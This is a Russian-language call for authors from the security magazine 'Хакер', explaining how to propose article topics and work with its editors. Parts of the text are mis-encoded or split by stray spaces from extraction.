íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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